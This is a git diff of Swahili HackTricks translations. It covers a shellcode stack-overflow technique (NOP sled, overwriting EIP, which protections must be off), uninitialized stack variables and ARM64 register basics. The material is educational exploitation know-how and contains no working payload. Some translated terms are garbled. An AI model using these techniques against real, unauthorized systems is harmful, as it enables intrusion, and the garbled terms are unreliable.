Hati hii inajenga mzigo unaounda **slaidi ya NOP**, **shellcode**, na kisha kubadilisha **EIP** na anwani inayoashiria kwenye slaidi ya NOP, ikisimamia shellcode kutekelezwa.
Hati hii inajenga mzigo unaoundwa na **slaidi ya NOP**, **shellcode**, na kisha kubadilisha **EIP** na anwani inayoashiria kwenye slaidi ya NOP, ikidhibitisha kwamba shellcode inatekelezwa.
**Slaidi ya NOP** (`asm('nop')`) hutumiwa kuongeza nafasi kwamba utekelezaji uta "kusukuma" kuingia kwenye shellcode yetu bila kujali anwani sahihi. Badilisha hoja ya `p32()` kwa anwani ya kuanzia ya buffer yako pamoja na kufanya marekebisho ili kutua kwenye slaidi ya NOP.
## Kinga
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **inapaswa kuzimwa** ili anwani iweze kutegemewa kote kwenye utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja fulani ili kugundua wapi kazi ya ushindi imehifadhiwa.
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **inapaswa kuzimwa** ili anwani iweze kutegemewa kila wakati wa utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja fulani ili kugundua wapi kazi ya ushindi imehifadhiwa.
* [**Canaries ya Stack**](../../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzimwa au anwani iliyoharibiwa ya kurudi kwa EIP haitafuatwa kamwe.
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) kinga ya **stack** ingezuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitakuwa la kutekelezeka.
@ -94,6 +94,8 @@ Hati hii inajenga mzigo unaounda **slaidi ya NOP**, **shellcode**, na kisha kuba
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64bit, ASLR na kuvuja kwa anwani ya stack, andika shellcode na ruka kwenda kwake
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32 bit, ASLR na kuvuja kwa anwani ya stack, andika shellcode na ruka kwenda kwake
* 32 bit, ASLR na kuvuja kwa stack, andika shellcode na ruka kwenda kwake
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32 bit, ASLR na kuvuja kwa anwani ya stack, kulinganisha kuzuia wito kwa exit(), badilisha kivinjari na thamani na andika shellcode na ruka kwenda kwake
* 32 bit, ASLR na kuvuja kwa stack, kulinganisha kuzuia wito wa exit(), badilisha variable na thamani na andika shellcode na ruka kwenda kwake
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, hakuna ASLR, ROP gadget kufanya stack iwezekane na ruka kwenda kwa shellcode kwenye stack

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@ -19,14 +19,21 @@ Njia nyingine za kusaidia HackTricks:
Wazo kuu hapa ni kuelewa kinachotokea na **variables zisizojulikana kwani zitakuwa na thamani iliyokuwepo tayari kwenye kumbukumbu iliyowekwa kwao.** Mfano:
* **Fungtion 1: `initializeVariable`**: Tunatangaza variable `x` na kumpa thamani, sema `0x1234`. Hatua hii inafanana na kuhifadhi nafasi kwenye kumbukumbu na kuweka thamani maalum ndani yake.
* **Fungtion 2: `useUninitializedVariable`**: Hapa, tunatangaza variable nyingine `y` lakini hatumpi thamani yoyote. Katika C, variables zisizojulikana hazipati moja kwa moja thamani ya sifuri. Badala yake, zinabaki na thamani yoyote iliyokuwa imewekwa mwisho kwenye eneo la kumbukumbu.
* **Fungtion 2: `useUninitializedVariable`**: Hapa, tunatangaza variable nyingine `y` lakini hatumpi thamani yoyote. Katika C, variables zisizojulikana hazipati moja kwa moja thamani ya sifuri. Badala yake, zinabaki na thamani yoyote iliyokuwa imesalia kwenye eneo la kumbukumbu.
Tunapotekeleza hizi fungtions **kwa mpangilio**:
1. Katika `initializeVariable`, `x` inapewa thamani (`0x1234`), ambayo inachukua anwani maalum ya kumbukumbu.
1. Katika `initializeVariable`, `x` anapewa thamani (`0x1234`), ambayo inachukua anwani maalum ya kumbukumbu.
2. Katika `useUninitializedVariable`, `y` inatangazwa lakini haipewi thamani, hivyo inachukua nafasi ya kumbukumbu mara baada ya `x`. Kutokana na kutokuiweka `y`, inamalizia "kurithi" thamani kutoka kwenye eneo la kumbukumbu linalotumiwa na `x`, kwa sababu hiyo ndiyo thamani ya mwisho iliyokuwepo hapo.
Tabia hii inaonyesha dhana muhimu katika programu za kiwango cha chini: **Usimamizi wa kumbukumbu ni muhimu**, na variables zisizojulikana zinaweza kusababisha tabia isiyoaminika au mapungufu ya usalama, kwani zinaweza kushikilia data nyeti isiyokusudiwa iliyobaki kwenye kumbukumbu.
Tabia hii inaonyesha dhana muhimu katika programu za kiwango cha chini: **Usimamizi wa kumbukumbu ni muhimu**, na variables zisizojulikana zinaweza kusababisha tabia isiyoaminika au mapungufu ya usalama, kwani wanaweza kushikilia data nyeti isiyokusudiwa iliyobaki kwenye kumbukumbu.
Variables zisizojulikana kwenye steki zinaweza kuleta hatari kadhaa za usalama kama:
* **Kuvuja kwa Data**: Taarifa nyeti kama nywila, funguo za kuchakata, au maelezo ya kibinafsi yanaweza kufichuliwa ikiwa yamehifadhiwa kwenye variables zisizojulikana, kuruhusu wadukuzi kusoma data hii.
* **Kufichua Taarifa**: Yaliyomo ya variables zisizojulikana yanaweza kufunua maelezo kuhusu muundo wa kumbukumbu ya programu au shughuli za ndani, kusaidia wadukuzi katika kuendeleza mashambulizi yaliyolengwa.
* **Kuanguka na Kutokuwa na Utulivu**: Operesheni zinazohusisha variables zisizojulikana zinaweza kusababisha tabia isiyoeleweka, ikisababisha programu kuanguka au matokeo yasiyotabirika.
* **Utekelezaji wa Kanuni za Kiholela**: Katika hali fulani, wadukuzi wanaweza kutumia mapungufu haya kubadilisha mtiririko wa utekelezaji wa programu, kuwaruhusu kutekeleza kanuni za kiholela, ambazo zinaweza kujumuisha vitisho vya utekelezaji wa kanuni za mbali.
### Mfano
```c
@ -60,6 +67,10 @@ return 0;
```
#### Jinsi Hii Inavyofanya Kazi:
* **Fungtion ya `initializeAndPrint`**: Hii fungtion inatangaza kibadala cha nambari `initializedVar`, inampa thamani `100`, na kisha inachapisha anwani ya kumbukumbu na thamani ya kibadala. Hatua hii ni wazi na inaonyesha jinsi kibadala kilivyoanzishwa kinavyotenda.
* **Fungtion ya `demonstrateUninitializedVar`**: Katika fungtion hii, tunatangaza kibadala cha nambari `uninitializedVar` bila kuianzisha. Tunapojaribu kuchapisha thamani yake, matokeo yanaweza kuonyesha nambari ya nasibu. Nambari hii inawakilisha data yoyote iliyokuwepo hapo awali katika eneo hilo la kumbukumbu. Kulingana na mazingira na compiler, matokeo halisi yanaweza kutofautiana, na mara nyingine, kwa usalama, baadhi ya compilers wanaweza kuweka kibadala kiotomatiki kuwa sifuri, ingawa hii haipaswi kutegemewa.
* **Fungtion ya `main`**: Fungtion ya `main` inaita fungtion zote mbili hapo juu kwa mfululizo, ikionyesha tofauti kati ya kibadala kilichoanzishwa na kile ambacho hakijaanzishwa.
* **Fungua `initializeAndPrint`**: Hii fungsi inatangaza kipengele cha nambari `initializedVar`, inampa thamani `100`, na kisha inachapisha anwani ya kumbukumbu na thamani ya kipengele. Hatua hii ni wazi na inaonyesha jinsi kipengele kilichoinuliwa kinavyotenda.
* **Fungua `demonstrateUninitializedVar`**: Katika fungsi hii, tunatangaza kipengele cha nambari `uninitializedVar` bila kuipatia thamani. Tunapojaribu kuchapisha thamani yake, matokeo yanaweza kuonyesha nambari ya nasibu. Nambari hii inawakilisha data yoyote iliyokuwepo hapo awali katika eneo hilo la kumbukumbu. Kulingana na mazingira na mtoaji wa programu, matokeo halisi yanaweza kutofautiana, na mara nyingine, kwa usalama, baadhi ya watoaji wa programu wanaweza kiotomatiki kuinua vipengele kuwa sifuri, ingawa hii haipaswi kutegemewa.
* **Fungua `kuu`**: Fungsi ya `kuanza` inaita fungsi zote mbili hapo juu kwa mfululizo, ikionyesha tofauti kati ya kipengele kilichoinuliwa na kile ambacho hakijainuliwa.
## Mfano wa ARM64
Hii haibadiliki kabisa katika ARM64 kwani vipengele vya ndani pia vinasimamiwa kwenye stakishi, unaweza [**kuchunguza mfano huu**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) ambapo hili linaonyeshwa.

View file

@ -2,70 +2,70 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## **Viwango vya Kipekee - EL (ARM64v8)**
Katika usanifu wa ARMv8, viwango vya utekelezaji, vinavyoitwa Viwango vya Kipekee (ELs), vinataja kiwango cha uwezo na uwezo wa mazingira ya utekelezaji. Kuna viwango vinne vya kipekee, kuanzia EL0 hadi EL3, kila moja ikihudumia lengo tofauti:
Katika usanifu wa ARMv8, viwango vya utekelezaji, vinavyoitwa Viwango vya Kipekee (ELs), vinataja kiwango cha haki na uwezo wa mazingira ya utekelezaji. Kuna viwango vinne vya kipekee, kuanzia EL0 hadi EL3, kila kimoja kikitoa lengo tofauti:
1. **EL0 - Hali ya Mtumiaji**:
* Hii ni kiwango cha chini cha uwezo na hutumiwa kutekeleza nambari za maombi ya kawaida.
* Programu zinazoendesha kwenye EL0 zimejitenga kutoka kwa nyingine na kutoka kwa programu ya mfumo, ikiboresha usalama na utulivu.
* Hii ni kiwango cha chini cha haki na hutumiwa kwa kutekeleza nambari za maombi ya kawaida.
* Maombi yanayoendesha kwenye EL0 yamejitenga kutoka kwa mengine na kutoka kwa programu ya mfumo, ikiboresha usalama na utulivu.
2. **EL1 - Hali ya Msingi ya Mfumo wa Uendeshaji**:
* Zaidi ya majitu ya mfumo wa uendeshaji hufanya kazi kwenye kiwango hiki.
* EL1 ina uwezo zaidi kuliko EL0 na inaweza kupata rasilimali za mfumo, lakini kwa vizuizi fulani kuhakikisha uadilifu wa mfumo.
* EL1 ina haki zaidi kuliko EL0 na inaweza kupata rasilimali za mfumo, lakini kwa vikwazo fulani kuhakikisha uadilifu wa mfumo.
3. **EL2 - Hali ya Hypervisor**:
* Kiwango hiki hutumiwa kwa uvirtualization. Hypervisor inayotekelezwa kwenye EL2 inaweza kusimamia mifumo mingi ya uendeshaji (kila moja katika EL1 yake) inayotekelezwa kwenye vifaa vya kimwili sawa.
* Kiwango hiki hutumiwa kwa uvirtualization. Hypervisor inayotekelezwa kwenye EL2 inaweza kusimamia mifumo mingi ya uendeshaji (kila moja katika EL1 yake) ikitekelezwa kwenye vifaa vya kimwili sawa.
* EL2 hutoa vipengele vya kujitenga na kudhibiti mazingira vilivyovirtualized.
4. **EL3 - Hali ya Monitor ya Salama**:
* Hii ni kiwango cha juu zaidi cha uwezo na mara nyingi hutumiwa kwa kuanzisha salama na mazingira ya utekelezaji yanayoweza kudhibitika.
* EL3 inaweza kusimamia na kudhibiti ufikiaji kati ya hali salama na zisizo salama (kama vile kuanzisha salama, OS iliyothibitishwa, n.k.).
4. **EL3 - Hali ya Kufuatilia Salama**:
* Hii ni kiwango cha haki zaidi na mara nyingi hutumiwa kwa kuanzisha salama na mazingira ya utekelezaji yanayoweza kudhibitika.
* EL3 inaweza kusimamia na kudhibiti ufikiaji kati ya hali salama na zisizo salama (kama vile kuanzisha salama, OS ya kuaminika, n.k.).
Matumizi ya viwango hivi hutoa njia iliyopangwa na salama ya kusimamia vipengele tofauti vya mfumo, kutoka kwa programu za watumiaji hadi programu ya mfumo yenye uwezo zaidi. Mbinu ya ARMv8 kwa viwango vya uwezo husaidia katika kujitenga kwa ufanisi sehemu tofauti za mfumo, hivyo kuboresha usalama na uthabiti wa mfumo.
Matumizi ya viwango hivi hutoa njia iliyopangwa na salama ya kusimamia vipengele tofauti vya mfumo, kutoka kwa maombi ya mtumiaji hadi programu ya mfumo yenye haki zaidi. Mbinu ya ARMv8 kwa viwango vya haki husaidia katika kujitenga kwa ufanisi sehemu tofauti za mfumo, hivyo kuboresha usalama na uthabiti wa mfumo.
## **Vidhibiti (ARM64v8)**
ARM64 ina **vidhibiti vya jumla vya 31**, vilivyopewa majina `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (baiti 8). Kwa operesheni zinazohitaji thamani za biti 32 tu, vidhibiti sawa vinaweza kupatikana katika hali ya biti 32 kwa kutumia majina w0 hadi w30.
ARM64 ina **vidhibiti vya jumla vya 31**, vilivyopewa majina `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (baiti 8). Kwa operesheni zinazohitaji thamani za biti 32 tu, vidhibiti sawa vinaweza kupatikana kwa njia ya biti 32 kwa kutumia majina w0 hadi w30.
1. **`x0`** hadi **`x7`** - Kawaida hutumiwa kama vidhibiti vya kufuta na kwa kupitisha parameta kwa taratibu za sehemu.
1. **`x0`** hadi **`x7`** - Kawaida hutumiwa kama vidhibiti vya haraka na kwa kupitisha parameta kwa subroutines.
* **`x0`** pia inabeba data ya kurudi ya kazi
2. **`x8`** - Katika kerneli ya Linux, `x8` hutumiwa kama nambari ya wito wa mfumo kwa maelekezo ya `svc`. **Katika macOS x16 ndio hutumiwa!**
3. **`x9`** hadi **`x15`** - Vidhibiti vya muda mrefu zaidi, mara nyingi hutumiwa kwa vidhibiti vya mitaa.
4. **`x16`** na **`x17`** - **Vidhibiti vya Wito wa Ndani-ya-Taratibu**. Vidhibiti vya muda mfupi kwa thamani za moja kwa moja. Pia hutumiwa kwa wito wa kazi za moja kwa moja na PLT (Jedwali la Uunganisho wa Taratibu).
4. **`x16`** na **`x17`** - **Vidhibiti vya Wito wa Ndani wa Mchakato**. Vidhibiti vya muda mfupi kwa thamani za moja kwa moja. Pia hutumiwa kwa wito wa kazi za moja kwa moja na PLT (Procedure Linkage Table) stubs.
* **`x16`** hutumiwa kama **nambari ya wito wa mfumo** kwa maelekezo ya **`svc`** katika **macOS**.
5. **`x18`** - **Kudhibiti jukwaa**. Inaweza kutumika kama kudhibiti wa jumla, lakini kwenye majukwaa fulani, kudhibiti huu unahifadhiwa kwa matumizi maalum ya jukwaa: Kielekezi cha kizuizi cha mazingira ya wajibu wa sasa katika Windows, au kuelekeza kwa muundo wa kazi inayoendeshwa kwa sasa katika kerneli ya Linux.
6. **`x19`** hadi **`x28`** - Hizi ni vidhibiti vinavyohifadhiwa na mwito. Kazi lazima ihifadhi thamani za vidhibiti hivi kwa mpigaji wake, kwa hivyo zinahifadhiwa kwenye stak na kurejeshwa kabla ya kurudi kwa mpigaji.
7. **`x29`** - **Kielekezi cha Fremu** kufuatilia fremu ya stak. Wakati fremu mpya ya stak inaundwa kwa sababu kazi inaitwa, kudhibiti cha **`x29`** kina **hifadhiwa kwenye stak** na anwani mpya ya fremu (**anwani ya `sp`**) inahifadhiwa kwenye kielekezi hiki.
* Kudhibiti hiki pia kinaweza kutumika kama **kielekezi cha jumla** ingawa kawaida hutumiwa kama kumbukumbu ya **vidhibiti vya mitaa**.
8. **`x30`** au **`lr`**- **Kielekezi cha Kiungo**. Huhifadhi **anwani ya kurudi** wakati maelekezo ya `BL` (Tawi na Kiungo) au `BLR` (Tawi na Kiungo kwa Kielekezi) yanatekelezwa kwa kuhifadhi thamani ya **`pc`** kwenye kielekezi hiki.
* Pia inaweza kutumika kama kudhibiti kingine chochote.
* Ikiwa kazi ya sasa itaita kazi mpya na hivyo kubadilisha `lr`, itahifadhi kwenye stak mwanzoni, hii ni epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kuirudisha mwishoni, hii ni prologu (`ldp x29, x30, [sp], #48; ret` -> Rudisha `fp` na `lr` na rudi).
9. **`sp`** - **Kielekezi cha Stak**, hutumiwa kufuatilia juu ya stak.
5. **`x18`** - **Dhibiti la Jukwaa**. Inaweza kutumika kama dhibiti la jumla, lakini kwenye majukwaa fulani, dhibiti huu unahifadhiwa kwa matumizi maalum ya jukwaa: Kielekezi cha kizuizi cha mazingira ya wajibu wa sasa katika Windows, au kuelekeza kwa muundo wa kazi inayoendeshwa kwa sasa katika kerneli ya Linux.
6. **`x19`** hadi **`x28`** - Hizi ni vidhibiti vinavyohifadhiwa kwa wito. Kazi lazima ihifadhi thamani za vidhibiti hivi kwa mpigaji wake, hivyo huhifadhiwa kwenye steki na kurejeshwa kabla ya kurudi kwa mpigaji.
7. **`x29`** - **Dhibiti la Fremu** linalotunza rekodi ya fremu ya steki. Wakati fremu mpya ya steki inaundwa kwa sababu kazi inaitwa, dhibiti la **`x29`** linahifadhiwa kwenye steki na anwani mpya ya fremu (**anwani ya `sp`**) inahifadhiwa kwenye dhibiti hili.
* Dhibiti hili pia linaweza kutumika kama **dhibiti la jumla** ingawa kawaida hutumiwa kama kumbukumbu ya **vidhibiti vya mitaa**.
8. **`x30`** au **`lr`**- **Dhibiti la Kiungo**. Linashikilia **anwani ya kurudi** wakati maelekezo ya `BL` (Branch with Link) au `BLR` (Branch with Link to Register) yanatekelezwa kwa kuhifadhi thamani ya **`pc`** kwenye dhibiti hili.
* Pia inaweza kutumika kama dhibiti lingine lolote.
* Ikiwa kazi ya sasa itaita kazi mpya na hivyo kubadilisha `lr`, itahifadhi kwenye steki mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kuirudisha mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rudisha `fp` na `lr` na rudi).
9. **`sp`** - **Dhibiti wa Staki**, hutumiwa kutunza juu ya steki.
* thamani ya **`sp`** daima inapaswa kuhifadhiwa angalau kwa **urekebishaji wa quadword** au kutokea kwa kosa la urekebishaji.
10. **`pc`** - **Kielekezi cha Programu**, kinachoelekeza kwa maelekezo yanayofuata. Kudhibiti hiki kinaweza kusasishwa kupitia kizazi cha kipekee, kurudi kwa kipekee, na matawi. Maelekezo ya kawaida pekee yanayoweza kusoma kudhibiti hiki ni maelekezo ya tawi na kiungo (BL, BLR) kuhifadhi anwani ya **`pc`** kwenye **`lr`** (Kielekezi cha Kiungo).
11. **`xzr`** - **Kudhibiti cha Sifuri**. Pia huitwa **`wzr`** katika fomu yake ya kudhibiti ya biti **32**.
10. **`pc`** - **Kielekezi cha Programu**, kinachoelekeza kwa maelekezo yanayofuata. Dhibiti hii inaweza kusasishwa kupitia kizazi cha kipekee, kurudi kwa kipekee, na matawi. Maelekezo ya kawaida pekee yanayoweza kusoma dhibiti hii ni maelekezo ya matawi na viungo (BL, BLR) kuhifadhi anwani ya **`pc`** kwenye **`lr`** (Dhibiti la Kiungo).
11. **`xzr`** - **Dhibiti la Sifuri**. Pia huitwa **`wzr`** katika fomu yake ya dhibiti ya biti **32**. Inaweza kutumika kupata thamani ya sifuri kwa urahisi (operesheni ya kawaida) au kufanya mlinganisho kutumia **`subs`** kama **`subs XZR, Xn, #10`** kuhifadhi data inayotokana mahali popote (katika **`xzr`**).
Vidhibiti vya **`Wn`** ni toleo la **32bit** la kudhibiti la **`Xn`**.
Vidhibiti vya **Wn** ni toleo la **32bit** la dhibiti la **Xn**.
### Vidhibiti vya SIMD na Floating-Point
Zaidi ya hayo, kuna vidhibiti vingine **32 vya urefu wa 128bit** vinavyoweza kutumika katika operesheni zilizooanishwa za data nyingi kwa maelekezo moja (SIMD) na kwa kufanya hesabu za nukta kikomo. Hivi huitwa vidhibiti Vn ingawa wanaweza pia kufanya kazi katika **64**-bit, **32**-bit, **16**-bit na **8**-bit na kisha huitwa **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** na **`Bn`**.
### Vipimo vya Mfumo
Zaidi ya hayo, kuna vidhibiti vingine **32 vya urefu wa 128bit** vinavyoweza kutumika katika operesheni zilizooanishwa za data nyingi kwa maelekezo moja (SIMD) na kwa kufanya hesabu za nukta kikatika. Hivi huitwa vidhibiti vya Vn ingawa wanaweza pia kufanya kazi katika **64**-bit, **32**-bit, **16**-bit na **8**-bit na kisha huitwa **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** na **`Bn`**.
### **Vidhibiti vya Mfumo**
**Kuna mamia ya vipimo vya mfumo**, vinavyoitwa pia kama vipimo maalum vya kusudi (SPRs), hutumika kwa **kuangalia** na **kudhibiti** **tabia za processors**.\
Vinaweza kusomwa au kuwekwa tu kwa kutumia maagizo maalum ya kipekee **`mrs`** na **`msr`**.
**Kuna vidhibiti vya mfumo vingi**, vinavyoitwa pia vidhibiti maalum vya kusudi (SPRs), hutumika kwa **kuangalia** na **kudhibiti** **tabia za processors**.\
Vinaweza kusomwa au kuwekwa tu kwa kutumia maagizo maalum ya kujitolea **`mrs`** na **`msr`**.
Vipimo maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa kurekebisha. Kiambishi cha `EL0` kinaonyesha **kosa la chini** ambalo kipimo kinaweza kupatikana nacho (katika kesi hii EL0 ni kosa la kawaida (haki) ambalo programu za kawaida hufanya nalo).\
Vidhibiti maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa kugeuza. Kiambishi cha `EL0` kinaonyesha **kosa la chini** ambapo vidhibiti vinaweza kupatikana (katika kesi hii EL0 ni kosa la kawaida (haki) kiwango cha kawaida ambacho programu za kawaida hufanya nayo).\
Maranyingi hutumika kuhifadhi **anwani ya msingi ya eneo la kuhifadhi la mnyororo wa wateja** la kumbukumbu. Kawaida la kwanza linaweza kusomwa na kuandikwa kwa programu zinazoendesha katika EL0, lakini la pili linaweza kusomwa kutoka EL0 na kuandikwa kutoka EL1 (kama kernel).
* `mrs x0, TPIDR_EL0 ; Soma TPIDR_EL0 hadi x0`
@ -73,12 +73,12 @@ Maranyingi hutumika kuhifadhi **anwani ya msingi ya eneo la kuhifadhi la mnyoror
### **PSTATE**
**PSTATE** ina vipengele vingi vya mchakato vilivyosanidiwa katika kipimo maalum cha **`SPSR_ELx`**, X ikiwa ni **kiwango cha ruhusa cha kosa** kilichosababishwa (hii inaruhusu kurejesha hali ya mchakato wakati kosa linamalizika).\
**PSTATE** ina vipengele vingi vya mchakato vilivyosanidiwa katika vidhibiti maalum vya **`SPSR_ELx`**, X ikiwa ni **kiwango cha ruhusa cha kosa** kilichochochewa (hii inaruhusu kurejesha hali ya mchakato wakati kosa linamalizika).\
Hizi ni sehemu zinazopatikana:
<figure><img src="../../../.gitbook/assets/image (1193).png" alt=""><figcaption></figcaption></figure>
* **`N`**, **`Z`**, **`C`** na **`V`** hali za hali:
* **`N`**, **`Z`**, **`C`** na **`V`** hali za masharti:
* **`N`** inamaanisha operesheni ilizalisha matokeo hasi
* **`Z`** inamaanisha operesheni ilizalisha sifuri
* **`C`** inamaanisha operesheni ilibeba
@ -86,25 +86,25 @@ Hizi ni sehemu zinazopatikana:
* Jumla ya nambari mbili chanya inazalisha matokeo hasi.
* Jumla ya nambari mbili hasi inazalisha matokeo chanya.
* Katika upunguzaji, wakati nambari kubwa hasi inapunguzwa kutoka kwa nambari ndogo chanya (au kinyume chake), na matokeo hayawezi kuwakilishwa ndani ya safu ya ukubwa wa biti iliyotolewa.
* Kwa dhahiri processor hajui operesheni ni ya kusainiwa au la, kwa hivyo itachunguza C na V katika operesheni na kuonyesha ikiwa kipeo kilifanyika katika kesi ilikuwa ya kusainiwa au la.
* Kwa dhahiri, processor hajui operesheni ni ya kusainiwa au la, kwa hivyo itachunguza C na V katika operesheni na kuonyesha ikiwa kuna kubeba ilitokea ikiwa ilikuwa ya kusainiwa au la.
{% hint style="warning" %}
Sio maagizo yote yanayosasisha bendera hizi. Baadhi kama **`CMP`** au **`TST`** hufanya hivyo, na zingine zenye kiambishi cha s kama **`ADDS`** pia hufanya hivyo.
Sio maagizo yote yanayosasisha hizi bendera. Baadhi kama **`CMP`** au **`TST`** hufanya hivyo, na zingine zenye kiambishi cha s kama **`ADDS`** pia hufanya hivyo.
{% endhint %}
* Bendera ya sasa ya **urefu wa kusajili (`nRW`)**: Ikiwa bendera inashikilia thamani 0, programu itaendesha katika hali ya utekelezaji wa AArch64 mara baada ya kurejeshwa.
* **Kiambishi cha Kosa la Kawaida** (**`EL`**): Programu ya kawaida inayoendesha katika EL0 itakuwa na thamani 0
* Bendera ya **hatua moja** (**`SS`**): Hutumiwa na wachunguzi wa kosa moja kwa kuweka bendera ya SS kuwa 1 ndani ya **`SPSR_ELx`** kupitia kosa. Programu itaendesha hatua na kutoa kosa la hatua moja.
* Bendera ya hali ya kosa **isio halali** (**`IL`**): Hutumiwa kuashiria wakati programu yenye ruhusa inafanya uhamisho wa kosa usio halali wa kiwango, bendera hii inawekwa kuwa 1 na processor kuzindua kosa la hali isio halali.
* Bendera ya sasa ya **urefu wa kusajili (`nRW`)**: Ikiwa bendera inashikilia thamani 0, programu itaendesha katika hali ya utekelezaji wa AArch64 mara tu itakaporejeshwa.
* **Kiwango cha Kosa** cha sasa (**`EL`**): Programu ya kawaida inayoendesha katika EL0 itakuwa na thamani 0
* Bendera ya **hatua moja** (**`SS`**): Hutumiwa na wachunguzi wa kosa kwa hatua moja kwa kuweka bendera ya SS kuwa 1 ndani ya **`SPSR_ELx`** kupitia kosa. Programu itaendesha hatua na kutoa kosa la hatua moja.
* Bendera ya hali ya kosa isiyo halali (**`IL`**): Hutumiwa kuashiria wakati programu yenye ruhusa inafanya uhamisho wa kiwango cha kosa kisichofaa, bendera hii inawekwa kuwa 1 na processor kuzindua kosa la hali isiyo halali.
* Bendera za **`DAIF`**: Bendera hizi huruhusu programu yenye ruhusa kuficha kwa hiari baadhi ya kosa la nje.
* Ikiwa **`A`** ni 1 inamaanisha **kuzimwa kwa ghafla** kutazinduliwa. **`I`** inaashiria kujibu kwa **Ombi la Kuingilia la Vifaa vya Nje** (IRQs). na F inahusiana na **Ombi za Kuingilia za Haraka** (FIRs).
